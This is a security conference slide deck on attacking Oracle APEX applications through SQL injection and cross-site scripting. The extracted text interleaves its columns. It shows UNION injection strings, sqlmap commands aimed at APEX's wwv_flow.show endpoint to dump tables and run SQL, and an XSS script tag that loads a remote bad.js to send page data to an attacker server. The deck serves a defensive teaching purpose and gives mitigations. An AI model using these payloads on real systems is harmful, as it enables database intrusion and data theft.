Hacking Oracle APEX

!2

About Me
Welcome [email protected]

@sspendol

!3 !4
About Sumner Technologies Agenda
• Originally Established 2005 • Overview
• Relaunched in 2015 • SQL Injection
– Focused exclusively on Oracle APEX solutions
• Cross Site Scripting
• Provide wide range of APEX related Services
– Architecture Design & Reviews • Summary
– Security Reviews
– Health Checks
– Education
• On-site, On-line, On-Demand
• Custom & Mentoring

– Oracle Database Cloud Consulting

– Curators of APEX-SERT
!5 !6

OWASP
Overview • Open Web Application Security Project (OWASP)
– https://www.owasp.org/index.php/Main_Page

“OWASP is an open community

dedicated to enabling organizations to
conceive, develop, acquire, operate,
and maintain applications that can be
trusted. All of the OWASP tools,
documents, forums, and chapters are
free and open to anyone interested in
improving application security.”

!7 !8
OWASP Top 10 OWASP Top 10
XSS flaws occur whenever an
• Awareness document for web application security • A1:2017 - Injectionapplication includes untrusted data in a
new web page without proper validation or
• Represents a broad consensus about the most critical • A2:2017 - Broken Authentication
escaping, or updates an existing web page with user-
security risks to web applications supplied data using a browser API that can create
• A3:2017 - Sensitive Data ExposureInjection
HTML or JavaScript. XSS allows attackers to execute
flaws, such as SQL, NoSQL,
• Project members include a variety of security experts • A4:2017 - XMLscripts
External
in theEntities
victim’s (XXE)
browser which can hijack user
OS, and LDAP injection, occur when
sessions, deface web sites, or redirect the
from around the world who have shared their expertise untrustedControl
• A5:2017 - Broken Access data is sent to an interpreter as part
user to malicious sites.
to produce this list. of a command or query. The attacker’s hostile
• A6:2017 - Security Misconfiguration
data can trick the interpreter into executing
• Download the full report here: unintended commands or accessing data
• A7:2017 - Cross-Site Scripting (XSS)
without proper authorization.
– https://www.owasp.org/images/7/72/
• A8:2017 - Insecure Deserialization
OWASP_Top_10-2017_%28en%29.pdf.pdf
• A9:2017 - Using Components with Known Vulnerabilities
• A10:2017 - Insufficient Logging & Monitoring
!9 !10

OWASP & APEX Security Risks of SQLi & XSS in APEX

• With APEX, you need to be concerned with at least 8 • In reality, the risks of SQLi & XSS in APEX is almost
of the top 10 none - as long as you never build an application and
– XML External Entities & Insecure Deserialization can be adjust any settings
largely ignored in most cases • If you do develop applications - and perhaps alter some
– But the rest can’t! of the settings, then the risks are much, much higher
– Yet can be easily mitigated - if you know what you’re doing

!11 !12
 SQL Injection (SQLi)
SQL Injection • SQL Injection is when a user enters some SQL that
ends up being executed and alters the intended
functionality and/or results of the system
– Typically for the worse, not for the better
• Possible to inject both DDL & DML
– All depends on the skill of the attacker and privileges of the
schema
• At minimum, it is disruptive
– Restore dropped tables
• Worst case, it is catastrophic
– Find another career path

!13 !14

SQL Injection SQL Injection

!15 !16
sqlmap sqlmap Features
• sqlmap is an “open source penetration testing tool that • Uses six SQL Injection attack types
automates the process of detecting and exploiting SQL – Boolean-based blind, time-based blind, error-based, UNION
injection flaws and taking over of database servers” query-based, stacked queries and out-of-band
– http://sqlmap.org
• Built-in support to get users, password hashes,
– https://github.com/sqlmapproject/sqlmap
privileges, roles, databases, tables and columns
• Command-line tool that probes for and exploits SQL
• Ability to crack passwords w/a dictionary-based
injection vulnerabilities in any major database
attack
– MySQL, Oracle, PostgreSQL,
Microsoft SQL Server, • Can search data dictionary for tables, columns, etc.
Microsoft Access, IBM DB2,
SQLite, Firebird, Sybase, • Execute arbitrary commands and retrieve their
SAP MaxDB, HSQLDB output
& Informix
!17 !18

sqlmap Warning Flawed Application

• All it takes is a single SQL injection flaw to open the
flood gates which allows any SQL to be run
Usage of sqlmap for
attacking targets • Our example contains a report with the following SQL:

without prior mutual SELECT empno, ename, job

FROM emp WHERE ename LIKE '%&P1_ITEM.%'
consent is illegal. It is
the end user's • Using the &ITEM. Syntax will allow a user to re-write the
responsibility to obey SQL statement

all applicable local,

state and federal laws.
!19 !20
Flawed Application Flawed Application
• Thus, if the user enters a malicious string as a filter, the • Or:
SQL will be re-written:
SELECT empno, ename, job
FROM emp WHERE ename LIKE '%ABC' UNION ALL SELECT
SELECT empno, ename, job
NULL,TO_CHAR(CREATED),USERNAME FROM SYS.ALL_USERS --%'
FROM emp WHERE ename LIKE '%' UNION
SELECT empno, ename, to_char(sal) job FROM emp
WHERE '%' LIKE '%'
• Now, the SQL will return the CREATED, USERNAME
• Now, the SQL will return the SAL of each employee - and USER_ID from SYS.ALL_USERS
something that was not part of the intended functionality • Essentially, it’s trivial to neuter the original query and
of the application introduce any new query we want via a simple UNION

!21 !22

wwv_flow.show wwv_flow.show
• For sqlmap to work, we have to be able to provide a • Thus, we can re-write the APEX URL using
valid parameter name that triggers a SQLi flaw wwv_flow.show and reference an APEX item
– APEX uses a single parameter “p” with a colon-delimited string • This URL:
which does not have a flaw
http://vm51/ords/f?p=121:1:12450968363470::::P1_ITEM:ABC

http://vm51/ords/f?p=121:1:12450968363470::::P1_ITEM:ABC • Becomes:
– This format won’t work, as we have no control as to where the http://vm51/ords/wwv_flow.show? f?
parameters passed in to “p” go p_flow_id=121 Application ID
&p_flow_step_id=1 Page ID
&p_instance=12450968363470 Session ID
&p_arg_name=P1_ITEM Item Name
&p_arg_value=ABC Item Value

!23 !24
sqlmap: Basics sqlmap: Banner & Current User
• Command basics & flags • To get the banner and current user from the database:
python sqlmap.py Base command python sqlmap.py
-u "http://vm51/ords/wwv_flow.show?p_flow_id=121 -u "<url>" …
&p_flow_step_id=1 -b Print the Banner
&p_instance=0 —-current_user Get the current user
&p_arg_name=P1_ITEM
&p_arg_value=ABC" URL to use
--batch Take all defaults
--dbms Oracle Database = Oracle
-p p_arg_value Inject into this parameter
--flush-session Flush all cached data

!25 !26

sqlmap: Authenticated Pages sqlmap: SQL Query

• Works with authenticated pages as well • Pass in SQL query to execute
– Simply copy the Session ID & APEX cookie name and value and python sqlmap.py
include that -u "<url>" …
– Examples in this presentation will use a public page to save —D <schema>
time --stop=25 Cap rows returned at 25
--sql_query="<sql_query>"
--cookie "<name> = <value>"

!27 !28
sqlmap: Declarative Query sqlmap: Search Columns
• Pass in schema, table and columns that you want to • To search all user columns for a specific string:
fetch: python sqlmap.py

python sqlmap.py -u "<url>" …

-u "<url>" … —D <schema>

—D <schema> --search Enables search

-T <table_name> -C <string>

-C "<col1>,<col2>,<col3>"

!29 !30

sqlmap: Extract Table Data

• To extract all data from a table: Demo: sqlmap
python sqlmap.py
-u "<url>" …
—D <schema>
-T <table>
--dump Export data to CSV file

!31 !32
Demo Mitigation
• Oracle Banner & User • Don’t use &ITEM. Syntax in your SQL
– Public Page & Authenticated • Be very cautious when using EXECUTE IMMEDIATE
• Workspace Applications and DBMS_SQL
• Workspace Users – If users can influence parameters to either, that data should be
sanitized and/or restricted
• Database Users
• Use a shadow schema
• Application Report SQL – Only expose the tables/column required for the application
• User Tables – Remove all unnecessary privileges to prevent DDL
• Search Columns • Use VPD or secure views
• Dump Table Contents – SQL Injection circumvents most APEX-based security

!33 !34

Mitigation Mitigation
• Remember this: A10:2017 - Insufficient Logging & • Use an APEX-specific security tool
Monitoring – APEX-SERT
– Be sure to monitor your APEX logs – ApexSec
– sqlmap has a specific user agent: • Be cautious when using EXECUTE IMMEDIATE or
sqlmap/1.2.3.4#dev (http://sqlmap.org) DBMS_SQL
– Both can potentially open up SQL Injection holes with and
without using the &ITEM. syntax
• If you see that in your page views, someone is probing/
attacking your database • Conduct peer reviews of your code
– As Tom Kyte used to say, get someone who doesn’t like you to
review it - results will be better

!35 !36
 Cross Site Scripting (XSS)
Cross Site Scripting • Not to be confused with CSS, Cross Site Scripting is
when a foreign unauthorized script is executed
– Reference or even the script is inserted into the database
– When it is displayed, it is not properly escaped, and thus
executes vs. harmlessly displays
• Typically demoed using a simple “Hello” alert
– Which does not even begin to describe the damage that XSS is
capable of
– So we’ll use some more serious exploits for emphasis

!37 !38

XSS in APEX XSS in APEX

• Like SQLi, a developer will have to go out of their • While the requirement may have been met, you also just
way to introduce an XSS vulnerability introduced a XSS vulnerability to your application
– But it’s more common than you may think – Since any data rendered in that column will potentially execute if
it contains a <script> tag
• Consider this example:
– Better approach: use the HTML Expression attribute and refer
– A requirement states to display Address1 & Address2 in the to columns as #COLUMN#
same cell but on new lines in a report
– You enter the <br /> tag between them, but when you run,
you see the HTML, not the actual line break
– After some experimentation, you realize that by setting Escape
Special Characters to No, the data displays as per the
requirement

!39 !40
Anatomy of an XSS Attack Web Service
• A simple ORDS web service was created to receive the
data
<script src="https://server/ – POST with a single parameter: p_val
bad.js"></script>

,etc. – Type of PL/SQL

Card
dit – Code:
Cre
N, Web Service
SS BEGIN
INSERT INTO t VALUES (:p_val);
END;
Database
Vulnerable bad.js
Application
Hacker’s Server

!41 !42

Page Item Values

• In this scenario, a XSS attack will capture page item
values and send them to another server
Demo: Page Items Values
– Works for any item in the HTML - including global page items
• Function will get the value of a page item and call a
web service, passing that value as a parameter
– Web service, in turn, will simply insert the payload into a table
where it can be inspected at any time

!43 !44
Interactive Report Data
• Next, we can also grab data displayed in an Demo: Interactive Report
Interactive Report
– Specific attack is limited to the rows that render with the
compromised row
Data
– Thus, an attacker may compromise several or all rows
• Possible to engineer a more effective attack
– Via unescaped persistent regions or items

!45 !46

Interactive Grid Data

• Even easier to capture data from an Interactive Grid Demo: Interactive Grid
– Specifically when Lazy Loading is set to No
– Possible - but more complex - to also capture data if Lazy Data
Loading is set to Yes

!47 !48
APEX Components
• Not running Production in runtime-only mode is
dangerous
Demo: APEX Components
– You’ve heard this for years
– But you’ve probably not changed your mind and still let
developers log into production
– Time to re-think that decision
• As an end user, we can inject some code that
when a developer is logged into and running an
application, that code will execute and can create
and/or modify APEX components

!49 !50

Mitigation Mitigation
• Never disable escaping on columns • Use an APEX-specific security tool
– When you do, be sure you know where the data is coming from – APEX-SERT
or escape it with APEX_ESCAPE – ApexSec
• Always use APEX_ESCAPE when rendering HTML via
htp.p or htp.prn
– Different options for different scenarios
• JSON, LDAP, HTML, REGEXP

• Be wary of Application Items that are rendered as

HTML
– Source is not escaped by default

!51 !52
 Summary
Summary • SQLi & XSS are possible in almost every language
– Much less likely in APEX than others, but not impossible
– With most platforms, developers have to introduce the risk
either deliberately (unlikely) or accidentally (likely)
• APEX remains one of the most secure
development platform when used properly
– Not unlike a car, hammer, flame thrower, gun, etc.
• Subscribing to secure best practices combined
with using a security evaluation tool will ensure
that risks are minimized or eliminated
– APEX-SERT & RecX are two specific to APEX
!53 !54

!55